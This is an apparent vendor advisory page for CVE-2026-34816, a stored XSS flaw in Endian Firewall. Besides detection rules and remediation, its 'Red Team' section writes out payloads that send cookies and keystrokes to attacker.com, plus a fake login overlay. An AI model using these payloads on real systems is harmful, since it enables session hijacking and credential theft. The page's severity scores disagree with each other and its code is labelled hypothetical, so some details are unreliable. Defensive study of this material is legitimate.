☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-34816

CVE-2026-34816 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.
📅 PUBLISHED: 2026-04-02 14:46 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-34816 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the domain parameter in the /manage/smtpscan/domainrouting/ endpoint. This injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further internal network compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs valid credentials.
  • User Interaction (UI): Required (R) – Victim must view the affected page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited data modification.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but once inside, an attacker can pivot to other users and potentially escalate privileges.

Deep Dive & Mechanics

The vulnerability resides in the SMTP scan domain routing configuration page (/manage/smtpscan/domainrouting/). The domain parameter is not properly sanitized before being stored in the backend database and later rendered in the web interface. An authenticated attacker can craft a request like:

POST /manage/smtpscan/domainrouting/
Host: target-endian-firewall
Cookie: session=valid_session
Content-Type: application/x-www-form-urlencoded

domain=<script>alert('XSS')</script>&action=add

The server stores this malicious input without encoding. When any authenticated user (including administrators) navigates to the domain routing list page, the script executes in their browser context. This allows the attacker to:

  • Steal session cookies.
  • Perform actions on behalf of the victim.
  • Redirect to phishing pages.
  • Inject keyloggers or other client-side malware.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding when rendering the domain parameter in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# Hypothetical vulnerable Python/Flask handler
@app.route('/manage/smtpscan/domainrouting/', methods=['POST'])
def add_domain_route():
    domain = request.form.get('domain')
    # No sanitization
    db.execute("INSERT INTO smtp_domain_routes (domain) VALUES (?)", (domain,))
    return redirect('/manage/smtpscan/domainrouting/')

@app.route('/manage/smtpscan/domainrouting/')
def list_domain_routes():
    routes = db.execute("SELECT domain FROM smtp_domain_routes").fetchall()
    # Direct rendering without escaping
    return render_template('domain_routing.html', routes=routes)

Patched Code (Hypothetical fix):

# Patched version
import html

@app.route('/manage/smtpscan/domainrouting/', methods=['POST'])
def add_domain_route():
    domain = request.form.get('domain')
    # Sanitize input
    sanitized_domain = html.escape(domain)
    db.execute("INSERT INTO smtp_domain_routes (domain) VALUES (?)", (sanitized_domain,))
    return redirect('/manage/smtpscan/domainrouting/')

@app.route('/manage/smtpscan/domainrouting/')
def list_domain_routes():
    routes = db.execute("SELECT domain FROM smtp_domain_routes").fetchall()
    # Output encoding in template
    return render_template('domain_routing.html', routes=routes)

The fix involves HTML-escaping the input before storage and ensuring the template engine auto-escapes output. Without a vendor patch, administrators must implement input validation and output encoding manually.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid credentials for the Endian Firewall web interface.
  • Network access to the management interface.

Exploitation Steps:

  1. Log in to the Endian Firewall web interface.
  2. Navigate to https://target/manage/smtpscan/domainrouting/.
  3. Intercept the POST request using a proxy (e.g., Burp Suite).
  4. Modify the domain parameter to include a malicious payload:
    domain=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Submit the request.
  6. Wait for an administrator or other user to view the domain routing list.
  7. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payloads:

  • Session hijacking: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
  • Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>
  • Phishing overlay: <script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h2>Session expired. Please login again.</h2><form><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form></div>'</script>

Blue Team

Detection Steps:

  1. Monitor web server logs for unusual domain parameter values in POST requests to /manage/smtpscan/domainrouting/.
  2. Look for patterns like <script, onerror=, javascript: in the domain field.
  3. Use a WAF rule to block requests containing HTML/JavaScript in the domain parameter.
  4. Regularly audit the smtp_domain_routes table for suspicious entries.

Hunting Query (Splunk):

index=web_logs source="/var/log/httpd/access_log"
| search uri="/manage/smtpscan/domainrouting/" method=POST
| rex field=form_data "domain=(?<domain_value>[^&]+)"
| where match(domain_value, "<|>|script|onerror|javascript")
| table _time, src_ip, user, domain_value

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /manage/smtpscan/domainrouting/ with domain parameter containing HTML/JavaScript.
    • Outbound connections to attacker-controlled domains from the Endian Firewall.
  • Host IOCs:
    • Entries in the smtp_domain_routes database table containing <script> tags or event handlers.
    • Unusual entries in /var/log/httpd/access_log with domain=<script> patterns.
  • File IOCs:
    • Modified templates in /usr/share/endian-firewall/templates/ (if attacker gains file write access via XSS).

Detection Engineering

YARA Rule

rule CVE_2026_34816_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall domain routing logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34816"
    strings:
        $xss1 = /domain=<[^&]*script[^&]*>/i
        $xss2 = /domain=<[^&]*onerror[^&]*>/i
        $xss3 = /domain=<[^&]*onload[^&]*>/i
        $xss4 = /domain=.*javascript:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2026-34816 Stored XSS in Endian Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS via domain parameter in Endian Firewall
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/manage/smtpscan/domainrouting/'
    keywords:
        - 'domain=<script'
        - 'domain=<img'
        - 'domain=javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate domain names containing 'script' (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34816 Stored XSS Attempt in Endian Firewall";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/manage/smtpscan/domainrouting/";
    http_uri;
    content:"domain=";
    http_client_body;
    pcre:"/domain=<[^&]*(script|onerror|onload|javascript)[^&]*>/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-34816;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Endian Firewall management interface from untrusted networks (e.g., place behind a VPN or dedicated management VLAN).
  2. Implement input validation on the domain parameter using a reverse proxy or WAF (e.g., ModSecurity rule to block HTML tags).
  3. Restrict access to the /manage/smtpscan/domainrouting/ endpoint to only necessary administrative users.

Long-term Fix:

  • Apply vendor patch when released.
  • Upgrade to a patched version of Endian Firewall.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
    
  • Conduct a code review of all input handling in the web interface.

Workaround:

  • Manually sanitize the domain parameter in the database using a script:
    #!/bin/bash
    # Sanitize existing entries
    sqlite3 /var/lib/endian/firewall.db "UPDATE smtp_domain_routes SET domain = REPLACE(REPLACE(REPLACE(domain, '<', '&lt;'), '>', '&gt;'), '\"', '&quot;');"
    

Valters IT

{/* [Security Hash: BE63F43574D606FA41D28455] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-34816/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.